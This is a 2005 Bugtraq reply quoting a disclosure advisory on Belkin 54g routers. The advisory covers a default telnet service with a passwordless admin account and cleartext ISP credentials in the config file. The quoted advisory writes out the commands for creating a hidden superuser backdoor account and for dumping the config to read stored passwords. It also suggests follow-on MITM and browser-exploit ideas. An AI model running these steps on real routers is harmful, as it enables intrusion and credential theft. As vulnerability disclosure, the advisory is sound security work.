Re: several vulnerabilities present in Belkin wireless routers

From: E. Kellinis (me_at_cipher.org.uk)
Date: 07/25/05

  • Next message: Petko Petkov: "Re: [Full-disclosure] Anonymous Web Attacks via DedicatedMobileServices"
    Date: Sun, 24 Jul 2005 23:04:10 +0100
    To: bugtraq@securityfocus.com
    
    

    just noticed that the TRACE http method is enabled in the router's
    webserver as well

    m123303@securityfocus.com wrote:

    >-----BEGIN PGP SIGNED MESSAGE-----
    >Hash: SHA1
    >
    >Advisory name:
    >several vulnerabilities present in Belkin wireless routers
    >
    >Overall severity rating:
    >HIGH risk
    >
    >Devices affected:
    >"belkin54g" family of wireless routers
    >
    >4 main vulnerabilities are included in this advisory:
    >- - default telnet backdoor
    >- - password-less administrative account
    >- - verbose messages in telnet sessions reveal filesystem structure and
    >possible "interesting" files
    >- - cleartext sensitive information stored in config file (config.icf)
    >
    >Date:
    >July 15, 2005
    >
    >Author:
    >pagvac (Adrian Pastor)
    >
    >Description:
    >I've been able to identify several important vulnerabilities in
    >different Belkin wireless routers. These vulnerabilities have been
    >tested and verified in at least three different Belkin wireless
    >router models which are very similar, not only in the way they look
    >but also in their functionalities.
    >
    >These Belkin wireless routers are quite popular among home users
    >probably due to their affordable price and easiness of use. This
    >means that the following vulnerabilities and exploits should be
    >present in a big number of devices available out there which should
    >be very easy to find for wardrivers.
    >
    >Note: these routers use a default SSID of "belkin54g".
    >
    >- From here, I'd like to encourage other computer security enthusiasts
    >to test what I found in their Belkin wireless routers and also let
    >everyone know that positive and negative comments about the content
    >of this advisory are welcome.
    >
    >The first problem is the existance of a default telnet backdoor
    >running on the usual 23/tcp port. From my experience, telnet
    >interfaces are NOT enabled by default in wireless routers but rather,
    >they usually need to be enabled from their administrative web
    >interfaces manually:
    >
    >
    ><Start of output>
    >
    >Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    >18:34 BST
    >Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
    >[1663 ports] at 18:34
    >Discovered open port 53/tcp on 192.168.2.1
    >Discovered open port 80/tcp on 192.168.2.1
    >Discovered open port 23/tcp on 192.168.2.1
    >The SYN Stealth Scan took 1.93s to scan 1663 total ports.
    >Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
    >ports] at 18:34
    >The UDP Scan took 1.92s to scan 1478 total ports.
    >Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
    >Interesting ports on BelkinModem.Belkin (192.168.2.1):
    >(The 3133 ports scanned but not shown below are in state: closed)
    >PORT STATE SERVICE
    >23/tcp open telnet
    >53/tcp open domain
    >53/udp open|filtered domain
    >67/udp open|filtered dhcpserver
    >80/tcp open http
    >123/udp open|filtered ntp
    >520/udp open|filtered route
    >1900/udp open|filtered UPnP
    >MAC Address: 00:11:50:XX:XX:XX (Belkin)
    >
    ></End of output>
    >
    >
    >This device is usually configured with a default IP address of
    >192.168.2.1. The interesting thing about the telnet interface in this
    >case is that it provides users with many powerful commands that are
    >NOT accessible through the administrative web interface. Again, let
    >me remind you that the telnet service is running straight out of the
    >box so no user intervention is needed.
    >
    >The telnet service, just like the web interface, can be accessed by
    >default with root privileges using a "null" password. When I say
    >"null" I mean empty, in other words: no password. The difference is
    >that the web interface sends the username to the system so only the
    >password is required from the user. In this case, all the user needs
    >to do is click on the "Submit" button after accessing
    >http://192.168.2.1 without entering any password AT ALL. In the case
    >of the telnet service, the authentication is different in the sense
    >that the system prompts the user for BOTH, username and password. The
    >right combination is admin/"null", where "null" is an empty password
    >(just press <enter> when prompted for password):
    >
    ><Start of output>
    >
    ># telnet 192.168.2.1
    >
    >Trying 192.168.2.1...
    >Connected to 192.168.2.1.
    >Escape character is '^]'.
    >
    > ,vvvdP9P???^ ,,,
    > vvd###P^`^ vvvvv v
    > vv#####?^ ????####vv,
    > vv####?? ,vvvdP???^ ,,, ??##^
    > v#####? ,vvd##P?^ #?#v#vvv
    > v#####? v###P^ ,vvv, '?#?,
    > ######? ####?^ ,vd#P?^ `???##
    > #####? v#### ,d##P^ ''
    > ###### v#### ]###L _ _ _
    > ___
    > #####? v#### ]##L / / \ |\ | |_ \/ /\
    >|\ | |
    > ###### #### ]###L \_ \_/ | \| |_ /\ /--\
    >| \| |
    > ?#####v ####v ]##h, ,,
    > ?##### ?###h, `9#hv, ,vv###
    > ###### #####L ]###L ,v#v'
    > ?#####vv ?9##hv, ,,vvvv###'
    > ?#####vv `??9P\vv, ^ vv##,
    > ###### #######L
    > ??###hvv, ,vvv#?##?????
    > `????9hdhvv,
    >
    >Login: admin
    ><enter>
    ></End of output>
    >
    >
    >As it can be seen, the OS firmware is developed by Conexant, although
    >the routers themselves are from Belkin. After researching on both
    >Belkin and Conexant websites I found nothing about the OS running in
    >these devices and ways to configure them through telnet. However, the
    >console mode shows many tools that are available in GNU/Linux
    >systems, indicating that this is the type of system running behind
    >the scenes.
    >
    >After logging in, the user is immediately granted root privileges on
    >the system. There are many interesting things an attacker can do at
    >this point. Most of the interesting functions are under the "system"
    >commands menu. In order to see all the available commands enter "?".
    >
    >
    ><Start of output>
    >
    >- --> ?
    >802.1x 802.1x port based authentication
    >agent Get a file from a remote host
    >autoprov
    >bridge Configure layer 2 bridge
    >console Console access
    >dhcpclient DHCP client configuration commands
    >dhcpserver DHCP server configuration commands
    >diagnosticTest
    >dnsclient DNS client configuration commands
    >dnsrelay DNS relay configuration
    >ethernet Commands to configure ethernet transports
    >firewall Firewall configuration commands
    >help Top level CLI help
    >igmp
    >imdebug Directly access the information model
    >ip Configure IP router
    >logger Log to a remote host using syslog
    >nat NAT configuration commands
    >port Physical port configuration commands
    >pppoa PPP over ATM configuration
    >pppoe
    >radclient RADIUS Client Configuration commands
    >rfc1483 Commands to configure RFC1483 transports
    >security Security configuration commands not specific to NAT
    >or firewall
    >sntpclient Simple Network Time Protocol Client commands
    >source Read a file of commands
    >system System administration commands
    >transports Transport configuration commands
    >upnp UPnP configuration commands
    >user User commands
    >webserver Webserver configuration commands
    >wpa Configure WPA (Wireless Protected Access)
    >- -->
    >
    ></End of output>
    >
    >
    >To see the available flags/options for a certain command, enter the
    >name of the command followed by "?" again and so on:
    >
    >
    ><Start of output>
    >
    >- --> system ?
    >add Add a user to the system
    >auto-update Update device firmware automatically from a remote
    >server
    >config Configuration file maintenance
    >cpuload Show current CPU loading
    >delete Remove system users
    >info Display hardware/software information
    >legal
    >list List system information
    >log Set logging options
    >restart Restart system (same as pressing reset)
    >set Set user privileges
    >
    ></End of output>
    >
    >
    >The first exploit an attacker could perform is to add a backdoor
    >account with administrative privileges:
    >
    >
    ><Start of output>
    >
    >- --> system list logins
    >
    >Users:
    > May May conf. May Access
    > ID | Name | Conf. | web | Dialin | Level |
    >Comment
    >- -----|------------|----------|----------|----------|------------|-----
    >- --------
    > 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >Admin user
    >- ----------------------------------------------------------------------
    >- ---------
    >
    >- --> system set user guest access superuser
    >
    >
    >- --> system list logins
    >
    >Users:
    > May May conf. May Access
    > ID | Name | Conf. | web | Dialin | Level |
    >Comment
    >- -----|------------|----------|----------|----------|------------|-----
    >- --------
    > 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >Admin user
    > 2 | guest | ENABLED | ENABLED | disabled | superuser |
    >Created by CLI
    >- ----------------------------------------------------------------------
    >- ---------
    >
    >
    >- --> system set login guest maydialin enabled
    >
    >
    >- --> system list logins
    >
    >Users:
    > May May conf. May Access
    > ID | Name | Conf. | web | Dialin | Level |
    >Comment
    >- -----|------------|----------|----------|----------|------------|-----
    >- --------
    > 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >Admin user
    > 2 | guest | ENABLED | ENABLED | ENABLED | superuser |
    >Created by CLI
    >- ----------------------------------------------------------------------
    >- ---------
    >
    ><End of output>
    >
    >
    >In this case the attacker first lists the avaialable accounts on the
    >system and then creates an acccount called "guest" assigning
    >superuser privileges to it. After that, the attacker also gives
    >dialin permissions to this new backdoor account. In reality, if an
    >attacker doesn't want to be loud, he/she would probably use an
    >account name that doesn't attract the attention from the owner of the
    >router. Such account could be called something like "test", "guest",
    >"manager", "default", "root", or "administrator". In this case the
    >attacker chose "guest".
    >
    >I'd like to say that I don't exactly know what the system means by
    >"May Dialin". I simply confirmed during my tests that an attacker can
    >indeed assign "dialin" privileges to a newly created superuser
    >account and use it to connect to the router through the telnet
    >interface with root privileges.
    >
    >I suspect that the "dialin" permissions are related to either one of
    >the following:
    >
    >- - permissions to allow a given account to connect to the router
    >- - a dialin interface which can be used by the administrator to dial
    >the router from the PSTN (telephone network) provided that the router
    >is connected to a telephone line.
    >
    >If anyone has played with this option in Belkin routers, please send
    >me your comments. Due to the lack of documentation available about
    >the telnet interface of these routers, I could not find further
    >information on "dialin" permissions.
    >
    >After adding the backdoor account the attacker can log into the
    >router through telnet using this new account. After that, the
    >attacker can add a password with the "user password" command:
    >
    >
    ><Start of output>
    >
    >- --> user password
    >Enter new password: ********
    > Again to verify: ********
    >
    ></End of output>
    >
    >
    >The second interesting thing that an attacker could do is to browse
    >the filesystem and dump the config file on the screen. The default
    >name of the config file of these routers is "config.icf". This file
    >can be obtained in two ways:
    >
    >- - from the web interface (http://192.168.2.1) by clicking on "Save
    >configuration"
    >- - through the telnet interface by browsing the filesystem in the
    >"console enable" mode
    >
    >After accessing the "console enable" mode the user is provided with a
    >bunch of powerful commands, including popular Linux/GNU tools such as
    >"cat". This is how to access the console mode (notice how "?" is used
    >to list available options for the "console" command):
    >
    >
    ><Start of output>
    >
    >- --> console ?
    >enable Enter console mode
    >process Execute console command
    >
    >
    >- --> console enable
    >Switching from CLI to console mode - type 'exit' to return
    >
    >Quantum>
    >
    >
    ></End of output>
    >
    >
    >
    >The way I found where the config file was located was NOT by browsing
    >the filesystem manually with "cd" and "ls" commands, but rather by
    >exploiting an interesting behavior of these routers. Basically, when
    >you save configuration files from the web interface, make invalid
    >http requests, or save system settings (from the web interface as
    >well), the system will dump messages on the telnet interface. For
    >instance, if you connect to the telnet service and save the
    >configuration settings from the web interface, the following message
    >will be dumped on the telnet session:
    >
    ><Start of output>
    >
    >Saving to backup configuration //isfs/im.conf.backup
    >
    ></End of output>
    >
    >
    >The following error was dumped after playing with invalid requests:
    >
    >
    ><Start of output>
    >
    >Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
    >not found or wrong type
    >
    ></End of output>
    >
    >
    >I suggest playing with the web interface while having the telnet
    >session open to find interesting files and directories as an
    >alternative to manually browsing the filesystem. Also, it might be
    >fun to try MITM proxy attacks against the router's web interface with
    >tools such as Achilles or Paros. This would allow us to modify the
    >inputs included in the POST requests which would normally be
    >restricted by the client-side forms. Doing this should hopefully dump
    >some interesting errors on the telnet session.
    >
    >The following are some of the directories present in the filesystem:
    >
    >/isfs/
    >/shared/
    >/webconfig/images/
    >/webconfig/styles/
    >/webconfig/styles/
    >/webconfig/update/
    >
    >
    >
    >Many tools are available in the "console enable" mode. In this case,
    >I used "cat" to dump sensitive information found in the config file.
    >Remember that a backup of the configuration file can be obtained from
    >/isfs/im.conf.backup.
    >
    >Interesting things which I found in these file are the following:
    >- - hostnames and IP addresses from the DNS table (these are computers
    >that are connected in the present and have been connected in the
    >past to the router)
    >- - ISP account configuration including username and password (yes,
    >this is all in cleartext as well!)
    >
    >The following output is an example of DNS entries extracted from the
    >config file. Note that the original MAC addresses, hostnames,
    >username and password have been modified for privacy reasons:
    >
    ><Start of output>
    >
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName1ipv4
    > A hostName computerName1
    > A ipaddr 192.168.2.21
    > A macAddress XX:XX:XX:XX:XX:XX
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName2ipv4
    > A hostName computerName2
    > A ipaddr 192.168.2.6
    > A macAddress XX:XX:XX:XX:XX:XX
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName3ipv4
    > A hostName computerName3
    > A ipaddr 192.168.2.4
    > A macAddress XX:XX:XX:XX:XX:XX
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName4ipv4
    > A hostName computerName4
    > A ipaddr 192.168.2.7
    > A macAddress XX:XX:XX:XX:XX:XX
    >
    ></End of output>
    >
    >
    >The following are some of the settings related to the ISP account
    >configuration including sensitive information such as username and
    >password in the clear:
    >
    >
    ><Start of output>
    >
    >A weLoginName myname.mysurname@adsl.ispdomain.com
    >A weLoginPassword this-is-my-password-in-the-clear
    >A weLoginAuth chap
    >
    ></End of output>
    >
    >
    >I'd like to stress that the consequences of storing the username,
    >password and authentication protocol in the clear can be exploited in
    >very malicious ways. For instance, the first thing that an attacker
    >can exploit is the fact that ISPs usually give users some web
    >services after they get their DSL connections set up. I'm talking
    >about things such as webmail and account management services. By
    >default, these services use the same password as the one used on the
    >ISP account (which can be obtained from the config file). In other
    >cases, these passwords also remain the same because it's just easier
    >for users to have the same password for all their ISP-related
    >accounts.
    >
    >Also, let's remember that the same password could also be used by the
    >user in other services such as messengers, ftp servers and so on.
    >This type of information could be easily obtained by an attacker
    >sniffing the network either with a wireless sniffer such as Airopeek
    >NX or by performing a MITM attack through ARP poisoning with a tool
    >like Cain.
    >
    >I'm sure that if other people play more with these routers they can
    >find other vulnerabilities, exploits and interesting functions.
    >Personally, I was surprised by the power that these Belkin routers
    >give you once they're accessed through the telnet interface.
    >
    >Because most of these "belkin54" family of routers give you root
    >privileges by default through the telnet interface, it is really up
    >to the attacker on what to exploit. It's just a matter of imagination
    >and curiosity. Some ideas could include redirecting users to the
    >router's web server whose files could be previously replaced by
    >scripts that would exploit the latest vulnerabilities present in the
    >most popular web browsers.
    >
    >-----BEGIN PGP SIGNATURE-----
    >Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
    >
    >iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtVwqHW0AoMIK
    >Yknf7sFxGJw7hbIK1oX642EB
    >=5Mdx
    >-----END PGP SIGNATURE-----
    >
    >
    >
    >


  • Next message: Petko Petkov: "Re: [Full-disclosure] Anonymous Web Attacks via DedicatedMobileServices"

    Relevant Pages